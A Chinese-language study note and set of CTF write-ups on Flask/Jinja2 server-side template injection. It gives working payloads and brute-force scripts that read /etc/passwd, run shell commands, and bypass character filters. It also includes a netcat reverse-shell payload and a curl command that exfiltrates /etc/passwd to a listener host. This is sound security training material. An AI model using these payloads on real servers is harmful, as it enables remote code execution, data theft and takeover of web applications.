放心,我会一直陪着你
- 一.知识
- 一.在终端的一些指令
- 1.虚拟环境
- 2.docker容器
- 二.SSTI相关知识介绍
- 1.魔术方法
- 2.python如何执行cmd命令
- 3.SSTI常用注入模块
- (1)文件读取
- (2)内建函数eval执行命令
- (3)os模块执行命令
- (4)importlib类执行命令
- (5)linecache函数执行命令
- (6)subprocess.Popen类执行命令
- 三.绕过过滤
- 1.双大括号
- 2.无回显
- (1)反弹shell
- (2)带外注入(做不了×)
- (3)纯盲注
- 四.实例
- 1.eval
- 二.实例
- NSS
- [HNCTF 2022 WEEK2]ez_SSTI
- [安洵杯 2020]Normal SSTI*Unicode编码配合attr过滤器
- [HNCTF 2022 WEEK3]ssssti……request.cookies
- [NCTF 2018]flask真香……拼接
- [GDOUCTF 2023]<ez_ze>……构造
- bug库
- Simple_SSTI_1……SECRET_KEY`
- BUU
- [Flask]SSTI
- [pasecactf_2019]flask_ssti
一.知识
一.在终端的一些指令
1.虚拟环境
进入虚拟环境flask1
cd /opt/flask1
source ./bin/activate
退出虚拟环境
deactivate
2.docker容器
自动检测
sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
查看所有容器
docker ps -a
关闭容器
docker stop <CONTAINER ID>
开启容器
docker start <CONTAINER ID>
更多命令:Docker常用命令之容器命令
二.SSTI相关知识介绍
${7*7}
a{*comment*}b
${"z".join("ab")}
{{7*7}}
{{7*'7'}}
1.魔术方法
__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量
2.python如何执行cmd命令
python如何执行cmd命令
3.SSTI常用注入模块
(1)文件读取
①查找子类
_frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
②找第几个时的python脚本:
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if '_frozen_importlib_external.FileLoader'in response.text:
print(i)
except:
pass
③读取
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
(2)内建函数eval执行命令
①内建函数:python在执行脚本时自动加载的函数
看是否有eval
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}
②python脚本查看可利用内建函数eval的模块
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'eval' in response.text:
print(i)
except :
pass
③执行
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)
(3)os模块执行命令
①Flask自带的函数和对象
显示当前flask有哪些函数和对象
{{self.__dict__._TemplateReference__context.keys()}}
—————————————
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{lipsum.__globals__.os.popen('ls').read()}}
②python脚本查找已经加载os模块的子类
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'os.py' in response.text:
print(i)
except :
pass
————————————
name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}
(4)importlib类执行命令
可以加载第三方库,使用load_module加载os
① python脚本查找_frozen_importlib.Builtinlmporter
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except :
pass
②执行
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}
(5)linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'linecache' in response.text:
print(i)
except :
pass
②执行
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}
(6)subprocess.Popen类执行命令
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.
subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.
① python脚本查找subprocess.Popen
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'subprocess.Popen' in response.text:
print(i)
except :
pass
②执行
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}
三.绕过过滤
1.双大括号
①判断是否有
{% if "".__class__ %}Benben{% endif %}
②检测是否有popen
import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):
try:
data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}
response = requests.post(url,data=data)
if response.status_code== 200:
if "Benben" in response.text:
print(i,"--->",data)
break
except :
pass
③执行(解决无回:print)
{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}
2.无回显
(1)反弹shell
没有回显,
直接使用脚本批量执行希望执行的命令.
import requests
url ="http://192.168.0.226:18080/flasklab/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}
response = requests.post(url,data=data)
except :
pass
for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面
(2)带外注入(做不了×)
此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc
import requests
url ="http://192.168.0.226:18080/flasklab/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}
response = requests.post(url,data=data)
except :
pass
同时kali开启一个python http监听
python3 -m http.server 80
(3)纯盲注
四.实例
1.eval
''
""
()
[]
{{''.__class__}}
{{''.__class__.__base__}}
{{''.__class__.__base__.__subclasses__()}}
{{''.__class__.__base__.__subclasses__()[117]}}
{{''.__class__.__base__.__subclasses__()[117].__init__}}
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
①
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
②
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
二.实例
NSS
[HNCTF 2022 WEEK2]ez_SSTI
进来看到
在哪里传参呢?
一般是GET传名为name的参数
测试SSTI注入,{{7*7}}
确认有SSTI注入,继续测,{{7*'7'}}
试试Jinja2模板,成功,以下是两种解题方法
1.Flask自带的函数和对象
先查看当前文件夹,发现了flag文件夹
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
获取flag
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
[安洵杯 2020]Normal SSTI*Unicode编码配合attr过滤器
进来看到
提示了传参变量
试着判断是哪一种模板${7*7}
,发现有过滤
fuzz一下,黑名单大致如下
[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']
过滤了很多东西,不能用base64编码还有request,十六进制没试过,这里考虑用Unicode编码配合attr过滤器来绕过。
这里过滤了双大括号,只能用{%%}
做法属于Flask自带的函数和对象
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}
把_globals_,__getitem__还有命令进行编码即可。
payload如下:
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}
[HNCTF 2022 WEEK3]ssssti……request.cookies
进来看到
一般传参名都为name,给其传参并测试SSTI
判断有SSTI,继续深入判断
发现有过滤,进行fuzz测试
黑名单
blacklist = ['"', 'args', 'os', '_'],不能用post方法
也不能用{%%}
但是还有一个可以用,request.cookies,可以通过cookies传入参数。
payload原型:
做法属于Flask自带的函数和对象
{{lipsum.__globals__.os.popen('ls').read()}}
修改之后:
{{lipsum[request.cookies.di][request.cookies.temp].popen(request.cookies.cmd).read()}}
di=__globals__;temp=os;cmd=ls
去取flag
————————
[NCTF 2018]flask真香……拼接
进入题目看到
换一页
在flask里面可以有两种船只的方式,一种是需要参数的,另一种则不需要,这道题是第二种。
测试SSTI
bp抓包fuzz一下,屏蔽了这些东西
用最简单的拼接就可以绕过了。
{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}
查找os._wrap_close,其他模块也可以,这个模块比较常用。
一个不需要写脚本就可以知道os.wrap.close是第几个的小技巧
找到这模块之后,选择前面一个的 >(大于号) ,然后ctrl+F 输入>回车
得到位置179(向前移动了一位哟,千千万万要注意)。***
最终的payload
{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[40].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}
得到flag:
[GDOUCTF 2023]<ez_ze>……构造
进入模板。看到
过滤了{{7*7}}
,fuzz测试一下:{%print(111)%}
过滤了
_ {{}} . [] '' os popen getitem
payload的原型
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat /flag')|attr('read')()}}
查看lipsum或config
{% print(lipsum|string|list) %}
{% print(config|string|list) %}
先lipusm获取下划线和空格,config获取正斜杠’/’
第十九个是下划线,第十个是空格,第240是’/',这里要用pop来获取。
{% set pop=dict(pop=1)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set re=(config|string|list)|attr(pop)(239) %}
然后是获取__globals__
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
用同样的方式获取__getitem__
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
其他的就是依葫芦画瓢。
完整的payload就是
{% set pop=dict(pop=1)|join %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set re=(config|string|list)|attr(pop)(239) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
{% set o=dict(o=a,s=b)|join %}
{% set po=dict(pop=a,en=b)|join %}
{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}
获取flag
bug库
Simple_SSTI_1……SECRET_KEY`
SECRET_KEY
通常存储在应用程序的配置中,这个配置可以通过 Flask 的 app.config
字典来设置。
进来看到
源码中找到
所以查看SECRET_KEY
/?flag={{config.SECRET_KEY}}
BUU
[Flask]SSTI
进来看到
没有参数,一般是给name传参,测试就不做了,一样一样的
在子类中并不是所有的都能用上,需要找的 一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息
查找子类:
{{''.__class__.__base__.__subclasses__()}}
查看源码可以看到
这里找到:warnings.catch_warnings
,在166位
自己导入OS模块,最终payload:(抱歉,不是这个,因为这道题的flag在环境变量里)
{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
最终payload:
{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}
得到flag
[pasecactf_2019]flask_ssti
进来看到
测试SSTI,{{7*7}}
存在,深入测试,出现过滤
fuzz测试,发现过滤了. _ "
过滤了下划线,使用十六进制编码绕过,_编码后为\x5f,
.过滤的话我们直接用[]包含绕过
过滤了单引号,我们用双引号绕过
这题过滤已经找完了,接下来是构造
执行{{class.bases[0].subclasses()}}
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()}}
找可用类,这里我们要找os._wrap_close
是第117位
执行{{class.bases[0].subclasses()[127].__init__.__globals__.}}
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]}}
到这里后发现有popen,open,system这些方法
执行{{class.bases[0].subclasses()[127].init.globals.[“popen”](“whoami”).read()}}
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}
成功执行了whoami命令
接下来执行ls看看有啥
app.py 文件通常用于存放一个 Flask 应用程序的主要逻辑,这是一种常见的命名约定。
这里找了一圈看不到flag,只能cat ap*看看源代码
#!/usr/bin/env python # -*- coding:utf-8 -*- import random from flask import Flask, render_template_string, render_template, request import os app = Flask(__name__) app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)' app.config['flag'] = '''(U0yy=4tc/@M k2GMHX+jiF''' # Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe ''' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') ''' nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]'] @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': try: p = request.values.get('nickname') _id = random.randint(0, len(nicknames) - 1) if p != None: if '.' in p or '_' in p or '\'' in p: return 'Your nickname contains restricted characters!' return render_template_string(nicknames[_id] % p) except Exception as e: print(e) return 'Exception' return render_template('index.html') if __name__ == '__main__': app.run(host='0.0.0.0', port=80) Вêчңø в øĤлâйĤé
整理后的源代码
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import random
from flask import Flask, render_template_string, render_template, request
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
app.config['flag'] = '''(U0yyogp`*ZoR7Zz>5YA'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
_id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[_id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
提供的代码以及加密函数的定义,可以确定该加密方式采用异或(XOR)操作。在异或加密中,加密和解密使用相同的操作,所以加密函数和解密函数通常是相同的。
在 Flask 中,app.config 是一个存储应用程序配置变量的字典。
从原代码可以看出加密后的flag存储在config中
先读取出来
{{config}}
(U0\x1fy\x13y7jQv7|\x17G\x0el\x04cAN\x1a]\x08}=WcI\x0f\x12\x15
再次加密得到原本的flag
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag='(U0\x1fy\x13yog\x05p`*\x16\x19ZoR7\x15\x18\x1dZ\x0cz>\x035\x1fYA\x15'
flag = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
print(flag)
${7*7}
a{*comment*}b
${"z".join("ab")}
{{7*7}}
{{7*'7'}}